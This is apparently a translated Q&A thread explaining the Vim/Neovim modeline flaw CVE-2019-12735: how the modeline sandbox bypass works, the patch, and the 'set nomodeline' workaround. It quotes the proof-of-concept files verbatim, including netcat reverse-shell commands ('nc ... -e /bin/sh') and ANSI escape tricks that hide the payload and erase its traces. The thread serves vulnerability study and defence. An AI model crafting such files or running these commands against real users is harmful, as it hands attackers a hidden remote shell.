警告
此问题包括漏洞原始描述和概念验证文件中的代码。在最坏的情况下,它将打开一个反向 shell,该 shell 可能会向其他用户授予权限,并为外部攻击者提供 shell 接口。除非 (1) 您知道您的系统无法被第三方访问(防火墙,无多用户系统),并且 (2) 您知道如何在 shell 意外打开时将其关闭,否则请不要执行此操作。
解释
vim/neovim 漏洞最近发现(现已在 vim 8.1.1467 中进行了修补)。除了修补说明外,还包含一个文本文件,其中包含概念证明,内容如下
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
这个想法似乎是,虽然文本文件似乎只包含字符串“Nothing here.”,但当使用未修补的 vim/neovim 版本打开时,它将/bin/sh
使用 netcat () 在端口 9999 上打开一个反向 shell。nc
看来这个漏洞已经存在多年,而且未被发现。打补丁、更新(目前还不是所有系统都可用)或禁用模式行可以解决这个问题。当然,不能保证将来不会继续出现类似的漏洞。这就是为什么我认为研究这个漏洞很有用。
问题
然而,我首先很难理解该代码为何能起作用。
字符串是混合的
- 特殊字符(
\x[hex][hex]
代码) - shell 命令 (
nohup
,nc
) - vim命令(
silent
,,,,)call system()
file
redraw
w
- 不显眼的字符串
此外,该部分
# vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!
是模式行位,确保注入的命令在
:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent!
nohup nc 127.0.0.1 9999 -e /bin/sh
似乎是启动反向 shell 的实际命令)。
但是,如果你手动打开 vim 并只执行命令部分
:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0
它会失败并出现错误
E15: Invalid expression: \'nohup (...)
E116: Invalid arguments for function system
我认为我不太明白(除了我在这里解释的内容)
(1) what the command does and why it works,
(2) consequently, how likely it is that vulnerabilities like this one will resurface,
(3) and, if there are any other measures that can be taken to protect against these (besides obviously keeping the software up to date and perhaps disabling modelines (which would, however, be a major inconvenience))
答案1
CVE
Vim 和 NeoVim 中的 CVE-2019-12735 是一个命令执行漏洞,它允许攻击者通过让用户编辑一个专门为暴露 Vim 中的此漏洞而制作的文件来运行本地命令。
存在此漏洞是因为:source!
命令未能检查它是否在沙箱,在这种情况下它应该直接中止而不是继续操作。
沙箱通常用于评估模式行,这是一行可以包含在文件顶部或底部的命令,用于配置 Vim 编辑器在编辑文件时设置适当的选项。(它可以用于设置不同的制表符大小、是否将制表符扩展为空格、是否为与文件扩展名不匹配的特定语言加载语法高亮和缩进等。)
模式行中可以包含的一些选项允许任意表达式,因此当 Vim 在模式行中找到它们时,它会在沙箱中对它们进行评估,从而阻止(或者更确切地说应该阻止)危险的命令,这些命令在模式行中被允许时通常会导致漏洞。
修复
该漏洞已在 Vim 8.1.1365 中修复,这次提交,从而确保:source!
在以下情况下不允许使用命令:沙箱。
解决方法
由于此漏洞发生在处理来自 modeline 的命令时,因此可以通过添加以下代码来禁用 modeline 的处理:set nomodeline
您的.vimrc
将解决这个问题。(副作用是模式行将完全停止工作。如果您依赖它们来设置制表符大小或移位宽度等,那可能会非常麻烦。)
漏洞利用
也许我们可以先看一个更简单的概念验证,详情请见本文不幸的是,Medium 搞错了双引号,但概念验证中使用的命令是:
:!nc -nv 172.31.242.143 4444 -e /bin/sh ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
我们甚至可以让它更简单,并使用一个简单的echo
命令来进行漏洞利用部分。因为我们需要做的就是展示我们能够运行任意本地命令,所以使用echo
应该足以证明这一点(并且,如果感兴趣,您可以确认您可以成功地将其替换为反向代理nc
或类似命令。)
:!echo "I am vulnerable" ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
(事实上,这也与你链接的那个类似这里(以命令为例,uname -a
演示如何运行本地命令。)
如果你将其保存到任何文件(任何扩展名),然后使用 Vim 前缀打开它,你会看到在 Vim 启动之前打印“我很脆弱”。
现在让我们来分析一下。
:!
将执行一个 shell 命令。它将整行的其余部分解释为 shell 命令。- [
echo "I am vulnerable" || ...
]:让我们来处理这个||
部分。它实际上是一个有效的 shell 构造,如果第一个命令失败(即返回非零值),它将执行第二个命令。例如,如果您使用false || echo Failed
,它将打印“失败”。另一方面,如果第一个命令成功,则不会执行第二个命令。所以true || echo Failed
不会回显“失败”或其他任何内容。事实上,第二个命令可能无效,但 shell 不会对此抱怨,因为它不会执行它。所以true || xyzinvalid abcinvalid whatever
应该没问题。唯一的限制是引用需要正确完成,因为 shell 会将第二个命令分解成单词以检查它是否有效,所以如果您有双引号,则需要有偶数个双引号。 " vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
这就是第二部分的情况!当它作为:!
shell 命令执行时,它被视为第二条命令。这是fdt="
在最后添加的唯一原因,因此引号匹配。vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
现在这部分也被解释为模式行。它设置了几个与折叠式的原因是折叠是可以在模式行上设置选项的功能之一,该选项应在沙箱中执行。它设置'foldenable'
, 套'foldmethod'
至expr
,和'foldlevel'
为零。这样折叠表达式就会被求值。(它还设置'foldtext'
变成双引号,但这只是为了安抚需要平衡引号的 shell!)fde=assert_fails("source\!\ \%")
这正是漏洞所在。'foldexpr'
在沙箱中进行评估,但漏洞使得命令source!
不会检查这一点。assert_fails()
函数仅用于将 Ex 命令作为表达式的一部分运行。 并且在取消转义后使用的命令是source! %
,它将当前文件作为 Vim 脚本,然后执行:!
最终在 shell 中调用外部命令的命令。
更精心设计的漏洞
另一个漏洞更加复杂,因为它打包了一堆 ANSI 转义序列,因此查看文件时cat
会隐藏恶意代码,只显示无害消息。
该文件实际上需要进行预处理才能真正发挥作用,以便处理\x1b
序列并将其转换为实际的 ESC 字符。在此过程中,它还将转换\'
为简单的单引号和\\
一个反斜杠。
将这些内容保存到escaped-poc.txt
,然后使用以下命令进行处理:
$ echo -e $(<escaped-poc.txt) >poc.txt
这个结果poc.txt
应该会触发漏洞代码。
如果你用 显示它cat
,它应该只显示以下内容:
$ cat poc.txt
Nothing here.
如果你在有漏洞的 Vim 中打开它,它会触发外部命令(打开反向 shell),并且会修改文件,以便漏洞代码消失(掩盖其踪迹)。
很多 Vim 代码都用于掩盖其踪迹。特别是,S
在开头 ( SNothing here.\x1b
) 将整行替换为“Nothing here.”,然后退出插入模式并执行:silent!
w
写入文件。调用:file
让 Vim 打印有关该文件的信息,这通常是您第一次打开该文件时打印的内容(因此它模仿了您打开非恶意文件时看到的输出。)
最后,它不再使用 shell 命令||
来忽略隐藏了 modeline 的行的其余部分,而是使用该silent! # " vim: ...
部分。这是可能的,因为这次漏洞利用的是system()
函数而不是:!
命令。
这实际上运行:#
命令(同义词:number
),用于打印当前行号。但它在:silent!
,因此不会打印任何内容。最后,"
after#
开始 Vimscript 注释,这使得 Vim 在将文件读取为 Vimscript 时忽略该行的其余部分。
实际的漏洞利用再次发生在模式行中,再次使用'foldexpr'
在...的帮助下assert_fails()
。不过这一次,表达式在'foldexpr'
第一次调用时会重置,这样它就不会尝试多次重新生成命令,也不会留下太多痕迹。
用于隐藏恶意代码的转义序列集值得单独发一篇文章来介绍。特别是,文件开头的第一个转义序列既被评估为转义序列(cat
在文件上使用时),也被评估为 Vim 正常模式命令,因为这是 Vim 在读取文件时开始的地方:source!
。
总的来说,这是一个非常有趣的案例研究!